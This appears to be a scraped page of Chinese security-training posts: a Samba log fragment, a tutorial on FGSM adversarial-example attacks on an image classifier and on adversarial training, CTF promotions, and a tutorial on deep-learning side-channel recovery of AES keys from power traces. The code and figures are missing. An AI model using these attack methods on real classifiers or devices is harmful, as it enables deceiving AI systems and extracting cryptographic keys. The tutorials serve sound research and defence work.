> [目录] /var/log/samba[root@localhost ~]# ls /var/log/samba> log.smbd # 其中包含Samba服务器启动以及SMB/CIFS文件与打印共享方面的信息> log.nmbd # 其中包含基于IP协议的NETBIOS网络通信方面的信息> log.sysname # 用于记录特定客户系统的服务请求信息,文件名中的sysname是客户系统的主机名,如 log.winxp
相关实验:https://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017080314263200001
介绍:详细了解windows,linux电子取证的原理,使用不同的网络取证工具学习取证中的信息收集,协议分析,内存磁盘取证,文件恢复等功能操作
对抗样本攻击及防御实战
#前言
对抗样本大家都耳熟能详了,但是大家可能觉得离自己比较远,毕竟主要是学术界在做这方面的工作,可能还需要很多数学理论基础,所以没有尝试动手实践过。在本文中,不会提及高深的数学理论,唯一的公式也仅是用于形式化描述攻击方案,并不涉及任何数学概念,同时以代码为导向,将论文中提出的方案进行实践,成功实施对抗样本攻击,之后给出了典型的防御方案,即对抗训练,同样也是以实战为导向,证明防御方案的有效性。对抗样本领域的研究正热火朝天,本文提及的攻击和防御方案并不是最优的,希望感兴趣的师傅们看了本文后,能够不再对该领域抱有排斥心理,加入对抗样本的研究队伍中来,为AI安全贡献自己的力量。
#模型搭建及评估
本次我们使用的数据集是Fashion MNIST。Fashion-MNIST是一个替代MNIST手写数字集的图像数据集。 它是由Zalando(一家德国的时尚科技公司)旗下的研究部门提供。其涵盖了来自10种类别的共7万个不同商品的正面图片。Fashion-MNIST的大小、格式和训练集/测试集划分与原始的MNIST完全一致。60000/10000的训练测试数据划分,28x28的灰度图片.
数据集大致如下所示
上图中每一类有3行,10个类别分别是T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat','Sandal', 'Shirt', 'Sneaker', 'Bag', 'Ankle boot’
首先加载数据集
我们需要简单的对数据集预处理,给其添加一个channel维度,否则卷积层不能正常工作,还需要将像素值缩放到[0,1]范围
接下来打印出实际加载的样本看看
因为图片是灰度图像,所以输入的shape定义如下
接下来搭建一个CNN模型,架构如下
使用summary方法输出各层的参数状况
设置优化器、损失函数、batch size等超参数
我们再定义一个辅助函数,用于绘出训练过程相关度量指标的变化
接下来开始训练模型
使用前面定义的绘图函数画出模型训练过程的指标的变化情况
评估模型在测试集上的性能
上图打印出的classification report,这个怎么看呢
列表左边的一列为分类的标签名
右边的第一行中,precision recall f1-score三列分别为各个类别的精确度、召回率及F1 值.support是某类别在测试数据中的样本个数;
accuracy表示准确率,也即正确预测样本量与总样本量的比值;macro avg表示宏平均,表示所有类别对应指标的平均值,而weighted avg带权重平均,表示类别样本占总样本的比重与对应指标的乘积的累加和。
从上面的classification report可以看到模型在测试集上的表现还是不错的
而打印出的混淆矩阵如下
混淆矩阵是机器学习中总结分类模型预测结果的情形分析表,以矩阵形式将数据集中的记录按照真实的类别与分类模型预测的类别判断两个标准进行汇总。其中矩阵的行表示真实值,矩阵的列表示预测值。
我们以第一行为例,样本的真实类别为t-shirt,在分类结果里,有862个样本被正确分类,有16个样本被错误分类到pullover,有15个样本被错误分类到dress,有3个样本被错误分类到coat,有96个样本被错误分类到shirt,有8个样本被错误分类到bag
如果只要看有每个类别分别由多少样本被正确分类,则只需要看对角线即可。每一类总共是1000个测试样本,而t-shirt有862个被正确分类,trouser有975个被正确分类,以此类推。从混淆矩阵可以更具体看出测试样本是被错误分到了哪一类。
#对抗样本攻击
对抗样本可能或多或少都有听说过,它是通过对数据集中的样本应用较小但蓄意的会导致最坏情况的扰动而形成的输入,因此,被扰动的输入导致模型以高置信度输出错误的答案。
我们本次来实践最经典的对抗样本攻击方案--FGSM,下面这张图片大家应该都看过,它正是出自于提出FGSM的论文
从熊猫图像开始,攻击者在原始图像上添加小扰动,结果模型将此图像预测为长臂猿。
那么FGSM攻击是如何实现的呢?或者说攻击中添加的扰动是怎么来的呢?
我们知道训练分类模型时,网络基于输入图像学习特征,然后经过softmax层得到分类概率,接着损失函数基于分类概率和真实标签计算损失值,回传损失值并计算梯度(也就是梯度反向传播),最后网络参数基于计算得到的梯度进行更新,网络参数的更新目的是使损失值越来越小,这样模型分类正确的概率也就越来越高。
对抗样本攻击的目的是不修改分类网络的参数,而是通过修改输入图像的像素值使得修改后的图像能够扰乱分类网络的分类,那么根据前面提到的分类模型的训练过程,可以将损失值回传到输入图像并计算梯度,也就是下式
其中, θ 是模型的参数,x 是模型的输入,y 是与 x 关联的类别,J (θ, x, y) 是用于训练神经网络的损失函数。
接下来可以通过sign()函数计算梯度的方向,sign()函数是用来求数值符号的函数,比如对于大于0的输入,输出为1, 对于小于0的输入,输出为-1,对于等于0的输入,输出为0。之所以采用梯度方向而不是采用梯度值是为了控制扰动的距离.
常规的分类模型训练在更新参数时都是将参数减去计算得到的梯度,这样就能使得损失值越来越小,从而模型预测对的概率越来越大。既然对抗攻击是希望模型将输入图像错分类成错误类别,那么要求损失值越来越大,也就是模型预测的概率中对应于真实标签的概率越小越好,这和原来的参数更新目的正好相反。因此只需要在输入图像中加上计算得到的梯度方向,这样修改后的图像经过分类网络时的损失值就比修改前的图像经过分类网络时的损失值要大,换句话说,模型预测对的概率变小了。此外我们还需要用来控制扰动的程度,确保扰动足够小。所以,扰动的式子如下
将扰动加到原样本上就得到了对抗样本,如下所以
我们将这称为生成对抗样本的fast gradient sign method(快速梯度符号方法)。
对应的代码实现如下
应用以上函数,我们来看看对coat样本的攻击前后的结果
从可视化的结果可以看到,左边是原样本,以真实标签为coat,模型以较高的置信度将其预测为coat,中间是添加的对抗扰动,加上之后就得到了右边的对抗样本,其被模型错误预测为了pullover,说米我们攻击成功了。
查看对sneaker的攻击前后结果
同样攻击成功了,对于其他测试集样本生成的对抗样本同样可以攻击成功。
接下来我们来进行对抗训练,提升模型的鲁棒性
为了更全面的衡量模型在面对对抗样本攻击时有多么容易受到攻击,我们可以针对测试数据应用FGSM生成对应的对抗样本测试集
通过打印classification report和混淆矩阵来评估模型在面对对抗样本攻击时的鲁棒性
可以看到整体的指标都是较低的,说明模型面对对抗样本攻击的鲁棒性较弱
接下来我们通过对抗训练的方法增强模型的鲁棒性
#对抗训练
在实践之前,先来介绍对抗训练的概念。
对抗训练(Adversarial Training)最初由 Ian Goodfellow 等人提出,作为一种防御对抗攻击的方法,其思路非常简单直接,将生成的对抗样本加入到训练集中去,做一个数据增强,让模型在训练的时候就先学习一遍对抗样本。
对抗训练实际上是一个min-max优化问题,寻找一个模型(以参数表示),使得其能够正确分类扰动在一定范围S内的对抗样本,即
其中(x,y)表示原始数据和对应的标签,D表示数据的分布,L是损失函数
内层(中括号内)是一个最大化,L则表示在样本x上叠加一个扰动,再经过神经网络函数,与标签y比较得到的损失。 max L是优化目标,即寻找使损失函数最大的扰动,简单来讲就是添加的扰动要尽量让神经网络迷惑。外层就是对神经网络进行优化的最小化公式,即当扰动固定的情况下,我们训练神经网络模型使得在训练数据上的损失最小,也就是说,使模型具有一定的鲁棒性能够适应这种扰动。
接下来我们来看实际中对抗训练是怎么做到提升模型鲁棒性的
首先将同样的方法应用于训练集,生成原训练集的一批对抗样本,作为对抗样本训练集,并将对抗样本训练集和原来的训练集合在一起作为最终的训练集
开始在最终的训练集上训练模型
训练过程中的指标变化如下
如此,就完成了对抗训练
那么怎么对抗训练得到的模型的好坏呢?
首先要看该模型在正常的测试集上的性能,毕竟大多数测试样本都是正常的,这才是训练模型最主要的任务,即需要在正常的测试样本面前表现好
可以看到性能还是不错的
另外还要看模型在接收对抗样本时的性能,毕竟这是对抗训练相比一般训练最主要的目的所在,就是为了在面对对抗样本时,不会被其欺骗
从结果可以看到,模型在面对对抗样本时表现非常好
直接看这些指标不具体的话,我们可以从10类样本中各打印一个样本的对抗样本,并查看模型对其分类结果
从结果可以看到,10个对抗样本都被模型正确分类了,说明模型的鲁棒性较好,表明了对抗训练的有效性。
实验推荐:https://www.yijinglab.com/cour.do?w=1&c=CCIDaa5a-85bb-4c6d-90fa-d61c89e7a81c
#参考
1.EXPLAINING AND HARNESSING ADVERSARIAL EXAMPLES
2.ADVERSARIAL TRAINING METHODS FOR SEMI-SUPERVISED TEXT CLASSIFICATION
3.Towards Deep Learning Models Resistant to Adversarial Attacks
4.https://zhuanlan.zhihu.com/p/104040055
5.https://zhuanlan.zhihu.com/p/166364358
6.https://github.com/1Konny/FGSM
7.https://github.com/ndb796/Pytorch-Adversarial-Training-CIFAR
8.https://github.com/zjfheart/Friendly-Adversarial-Training
如果我解题很优秀,下个七夕身边会有他/她吗
*开幕灵魂拷问:你有对象吗?*
有的话看这里:
好了有对象的可以走了,单身的留一下,我再讲两点。
都说搞安全的头发少还没对象,那么跟着看下来的一定还有99.99%。
恰逢七夕,说什么都得送大伙儿一份礼物。请看:↓
每周五固定节目又来了!倍受期待的《Weekly CTF》系列之<第二十六周 | Ez_unserialize>它在同一时间又见面了,这是一个免费的课程且每周有更新,大家可以多多关注。
没想到吧情人节蚁景网安室送的礼物是一道题!像不像暑假玩得正嗨的你被贴心好友送了一本《开心暑假》,往年情人节我们还送过实验,也送过双倍积分……我这个渣男怎么样,送礼一套一套的还不重样。
最后让我们回到找对象的主题,大家都知道解题有方法只是时间问题,但心仪对象的心能不能解开这个真的是谜。首先这句话的前一段我不信,要不我给你一道数学题?物理题也行。
解题只会得到答案,但在解题的过程中你会收获知识,从而变得更优秀。优秀的人都是相互吸引的,当你从不断地学习中获得进步,即使你初次心动的人没有和你在一起,你也会遇到跟现在优秀的你一起并肩的人。
本周的CTF练习题是反序列化方向的,结合实验描述给出的线索,开启变优秀之路吧!期待你们的精彩表现,率先做出来的也可以自己发布writeup或者解题视频,万一被官方看上说不定有小惊喜奖励呢!假如你真的解不出来或者对前面的CTF题感兴趣,我可以偷偷告诉你上B站搜关键字有惊喜发现噢~
下周我们同一时间见!下个七夕我们都会有对象的!
链接直达:https://www.yijinglab.com/expc.do?ec=ECID1fab-e5bd-473c-92b7-768737c0d4ee
深度学习赋能侧信道攻击实战
#前言
这是IoT的时代,这也是AI的时代。
在IoT时代,针对IoT设备上的密码芯片进行侧信道分析是极其活跃的领域,是研究IoT安全至关重要的一环。在AI时代,目前引领AI第三次复兴的技术便是深度学习。将侧信道与深度学习相结合会有什么效果,本文对此进行了尝试。
侧信道分析部分,思路是根据power trace(能耗轨迹),从运行在ARM CPU上的AES算法实现中恢复AES密钥。在深度学习则是赋能于侧信道分析,我们将power trace处理后的数据集作为深度学习系统的输入,训练神经网络,使其预测key字节,作为输出。
下文中我们会首先介绍AES、侧信道分析、深度学习等前置知识,然后以实战为导向实现对16字节密钥的恢复。
#AES
高级加密标准(英语:Advanced Encryption Standard,缩写:AES),又称Rijndael加密法,是美国联邦政府采用的一种区块加密标准。这个标准用来替代原先的DES,已经被多方分析且广为全世界所使用。经过五年的甄选流程,高级加密标准由美国国家标准与技术研究院(NIST)于2001年11月26日发布于FIPS PUB 197,并在2002年5月26日成为有效的标准。现在,高级加密标准已然成为对称密钥加密中最流行的算法之一。
AES的区块长度固定为128比特,密钥长度则可以是128,192或256比特;而Rijndael使用的密钥和区块长度均可以是128,192或256比特.(本文就是针对密钥长度为128比特(16字节)的AES实现进行攻击)。
大多数AES计算是在一个特别的有限域完成的。
AES加密过程是在一个4×4的字节矩阵上运作,这个矩阵又称为“体(state)”,其初值就是一个明文区块(矩阵中一个元素大小就是明文区块中的一个Byte)。(Rijndael加密法因支持更大的区块,其矩阵的“列数(Row number)”可视情况增加)加密时,各轮AES加密循环(除最后一轮外)均包含4个步骤:
AddRoundKey—矩阵中的每一个字节都与该次回合密钥(round key)做XOR运算;每个子密钥由密钥生成方案产生。
SubBytes—透过一个非线性的替换函数,用查找表的方式把每个字节替换成对应的字节。
ShiftRows—将矩阵中的每个横列进行循环式移位。
MixColumns—为了充分混合矩阵中各个直行的操作。这个步骤使用线性转换来混合每内联的四个字节。最后一个加密循环中省略MixColumns步骤,而以另一个AddRoundKey取代。
#侧信道攻击
侧信道攻击的过程可以简单概括为:攻击者使用示波器采集密码算法在目标设备上运行时的计时、功耗、电磁辐射、声音、热量、射频、故障输出等旁路泄露信息,接着分析这些信息和密码设备执行过程中的中间运算、中间状态的关系(这些中间运算、中间状态依赖于密码算法的密钥),进而根据分析结果恢复出密钥。攻击者采集的旁路泄露信息又被称作能量轨迹(power trace),在分析power trace和中间运算、中间状态的关系之前,需要对power trace进行预处理(见下文)。
另外,在下文会提到“攻击点”的概念,这里先做说明。
攻击的目标是恢复key字节的值,但是在实际中除非你捕获到了加载到内存中的key,否则而基本不会直接捕获到key。事实上,我们预测的是称为攻击点的值,这些攻击点也叫做敏感变量。攻击点是内存中的点,在这个点上,计算会导致内存出现变化(比如更改了一个寄存器的值,或者设置了值等),这些变化与我们尝试恢复的key有关系(比如异或)。更改内存值会导致功耗发生变化,这意味着这些更改可以从功耗轨迹中发现。
如下图所示
左图是AES中所有的攻击点(攻击点由黄/红点表示),然而在实际应用上,他们大多数是不可逆的,可逆的意思是说可以从猜测值推测出key字节的值。只有红点是直接可逆的,他们都位于第一轮,示意图如上图的右图所示。
可以看到组成包括key、sub_bytes_in,sub_bytes_out。
其中key是我们希望通过推理得到的,sub_bytes_in是当key和明文一起存储后的目标字节的值,sub_bytes_out是使用AES盒替换另一个值之后的字节值。
对于我们要攻击的算法来说,sub_bytes_in,sub_bytes_out都很容易受到攻击。
#深度学习
深度学习(英语:deep learning)是机器学习的分支,是一种以人工神经网络为架构,对资料进行表征学习的算法。
深度学习是机器学习中一种基于对数据进行表征学习的算法。观测值(例如一幅图像)可以使用多种方式来表示,如每个像素强度值的向量,或者更抽象地表示成一系列边、特定形状的区域等。而使用某些特定的表示方法更容易从实例中学习任务(例如,人脸识别或面部表情识别)。深度学习的好处是用非监督式或半监督式的特征学习和分层特征提取高效算法来替代手工获取特征
为什么使用深度学习来做SCA?
第一点最显然的原因,也是其他领域也会使用深度学习的原因,就是深度学习可以直接从原始功耗或trace中学习,而不是依赖人工设计的特征和假设,这使得攻击更易设计,减少了对特定领域专业知识的需求。第二点是因为模型可以直接学习预测目标中间值,而不需要使用近似模型(相当于模板攻击而言),这也简化了攻击设计。第三点是因为使用深度学习可以进行概率攻击(利用softmax),因为模型在多个power trace上输出的分数可以被直接排序得到可能性最大的字节值。
#构建数据集
首先我们需要构建数据集,之后才能在其上训练模型。这一步的关键就是收集power trace
怎么收集power trace呢?
流程如下所示
1.启动示波器开始捕获
2.触发硬件上的加密过程(选定的或者是随机的key和明文进行加密)
3.在加密结束时,停止捕获并从示波器收集power trace。我们构造数据集时会将trace及对应的标签(使用的key和明文)都加入进去
我们使用示波器来捕获,所需的硬件设备示意图如下所示
红板中间放的是待分析的芯片,下面是示波器的probe,两端分别连接到通信接口和芯片,示波器的捕获的什么样子呢?
在示波器每次捕获之后,可以得到一组与下图类似的power trace
上图显示了没有受到保护的AES实际实现时的power trace,这种情况下很容易就可以进行SCA,因为我们可以清楚地看到10轮AES(上图已经标注出来了)
然后需要将power trace转为深度学习可用的数据集,这里涉及到3个操作:
1.数据处理。我们将power trace缩放到[-1,1],如果不这么做,大多数模型是不会收敛的
2.计算攻击点。对于每条轨迹,我们预先计算期望的_sub_bytesin 和_sub_bytesout 值。然后执行矩阵转置,以确保数据的格式是[ byte _ id ][ example _ id],因为我们希望能在对密钥的单字节攻击时可以通过byte_id获取数值。然后还需要对每个字节值进行分类编码(categorical encoding),因为模型的输出是256个潜在值上的softmax。
3.将数据打包成分片(shard)。分片中包含给定key value的所有样本。这可以让我们调整每个key需要多少样本,并确保在训练和测试时使用不同的key。
数据集有了之后我们就可以开始训练了
#训练模型
训练的目的是为了使用先前收集的trace建立模型。传统的SCA都会使用模板攻击等方式学习这些模式。模板攻击是使用训练数据执行多元统计分析,创建一个被称为汉明加权模型(Hamming Weight Power Model)的近似泄露模型(leakage model)。模板攻击可以类比于CV领域中旧的视觉算法,依赖于人类精心设计的特征,而使用深度学习模型可以直接从原始数据中学习。
在训练模型之前,需要加载数据集
还要加载配置文件
配置文件内容如下
其中主要用于设置四项内容:
1.攻击目标。从device和algorithm看到,指定了要攻击的设备以及其上运行的算法。
2.攻击方式。从attack_points和attack_bytes可以看到.前文我们已经提到,AES 128的16字节密钥有3个攻击点,所以实际我们需要训练3*16=48个模型
3.攻击所需数据。从num_shards,num_traces_per_shard可以看到,一个shard包含给定的key的所有样本,因此shard的数量等于要使用的key的数量。num_traces_per_shard指的是给定的key使用多少不同的power trace。
4.攻击所需架构。包含模型的参数、优化器等。
本文使用的是带残差的CNN,即ResNet,但是有一些不同
1.由于我们处理的是时间序列,shape为(batch_size,trace_len,value),而不是图像(shape为(batch_size,width,height,channels)),所以使用的一维卷积
2.模型一开始用的是max pooling,这是因为之前采样的时候是过采样的,使用max pooling可以使模型更小,以便更快地收敛
3.使用了卷积增长函数的简化的stack(堆),其实每个stack就是将过滤器数量翻倍
dropout用于帮助泛化,之后是全连接层、激活层和BatchNormalization层,输出层是带有softmax激活的256输出的全连接层
网络的一般结构如下
残差块结构如下
从批归一化开始,在进行卷积之前通过激活层。正如前面提到的,我们这里用的是一维卷积,即Conv1D;其他的都和标准残差架构一样,不再另做说明。
模型搭建完成后,使用训练集进行训练即可。
#攻击
这一步,我们利用训练好的模型来恢复训练过程中没见过的key。
我们将深度学习应用于侧信道攻击的优势就是它可以根据trace数量可扩展地进行概率攻击,我们只需要累计模型的预测值就可以了,如下所示,累计的结果越大,则该值越有可能是对应字节的值。
为什么这么直接加起来就可以来了?因为我们之前在输出层用的是softmax,softmax就是用于将模型的输出转为概率分布,他们的和等于1,如下所示
现在还有一个问题,怎么评估侧信道攻击的效果呢(除了直接看是否恢复出了给定的key)
在本文中主要评估恢复给定key需要多少条trace,评估指标可以是:恢复key所需的最少trace是几条?平均需要几条trace才能恢复key?恢复所有key需要多少trace?以及通过攻击曲线(如下所示)来看累计成功率,我们以恢复16字节的key中的一个字节为例来看看。
我们画出攻击中的密钥恢复效率,实际就是打印攻击曲线
下面给出的累计成功率就是上图曲线下的面积。如果是完美的攻击,其曲线下面积应为1,这说明1个trace就可以恢复出全部的key,但是这基本不会发生,我们要做的是找到曲线最陡或者说曲线下面积最大的攻击,因为这种攻击的性能最好。
下面的代码用于计算并打印指标
从上图结果可以看到,使用1个trace可以恢复40%左右的key,为了恢复全部key,需要4个trace,累计成功率为83.79%
现在我们尝试恢复出AES的完整的key。
攻击前,还需要设置参数:攻击点可以设为sub_bytes_out;从攻击曲线的图中可以看到其实不需要10条trace,5条trace就足够了;此外还需要设置目标shard,一个shard就是一个不同的key,随意设置即可
我们运行16次字节恢复算法,一次可以恢复出一个key字节
运行得到的结果如下
可以看到基本预测正确。
#参考
1.https://baike.baidu.com/item/%E9%AB%98%E7%BA%A7%E5%8A%A0%E5%AF%86%E6%A0%87%E5%87%86/468774?fromtitle=aes&fromid=5903&fr=aladdin&&
2.https://zh.wikipedia.org/wiki/%E9%AB%98%E7%BA%A7%E5%8A%A0%E5%AF%86%E6%A0%87%E5%87%86
3.http://61.161.158.164:8085/KCMS/detail/detail.aspx?filename=1020088612.nh&dbcode=CMFD&dbname=CMFD2021&&
4.https://zh.wikipedia.org/zh-hans/%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0
5.https://www.youtube.com/watch?v=Db8mj5KFz8E
6.https://docs.google.com/presentation/d/1l-TpGGuGu40TS4ecqPfzLqrzSQccwgu3BlsKMTyZbSk/edit
如果你在找免费CTF训练场,那么我推我自己
正文:
每周五固定节目又来了!倍受期待的《Weekly CTF》系列之<第二十五周|在错误中寻找答案>它在同一时间又见面了,这是一个免费的课程且每周有更新,大家可以多多关注。
关于这个实验的来历还是值得一说的。最开始,同事发来了这样一张图:
本运营当时的内心:
好家伙,就出个CTF题而已,怎么还整上成语(的变异版)了呢?就这种词语,在我们官网发发而已是可用的,外面的平台这么宣传程序自动就给屏蔽成**了,有的不仅发不出去还会被禁言,那么就损失了数十万人(夸张)看到我们的机会。本身实验还是免费的,这么好的资源不要浪费了。本着净化网络环境的责任心,正义的我自然是拒绝的。
然后就有了上升无数个层次的这一版:
出处没有截完整因为也敏感,不过我可以大声告诉你们是一位伟人,出自伟人在延安干部会上所作的报告——<改造我们的学习>。这就很符合我们作为业界领先(挺胸骄傲)的实践型学习平台的定位了,要有方法地学习,要理论和实际统一。报告中的一些内容可以说跟我们相当符合了,“粗枝大叶,夸夸其谈,满足于一知半解”伟人称这是一种极坏的作风,据我潜伏在网安群里的多年经验来看,我们中的很多人就是犯了这样一种错误,只想学习网络安全中最“炫酷”的那部分,上来就想渗透想直接到达终点线,而不是从最基础的部分开始。导致很多人只是掌握了一个工具的使用而完全不懂原理,不去了解底层是如何运行的,这种情况就是满足于一知半解,是走不长远
最后让我们回到主题,既然实验是CTF练习题,那么我在这里就不多给出提示了,解题的本身就是一种乐趣,善于从实验名和描述中寻找线索。期待你们的精彩表现,率先做出来的也可以自己发布writeup或者解题视频,万一被官方看上说不定有小惊喜奖励呢!
下周我们同一时间见!
链接直达:https://www.yijinglab.com/expc.do?ec=ECIDaf8e-a5e6-4228-baf3-31302a5b2296
扫码直达:
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

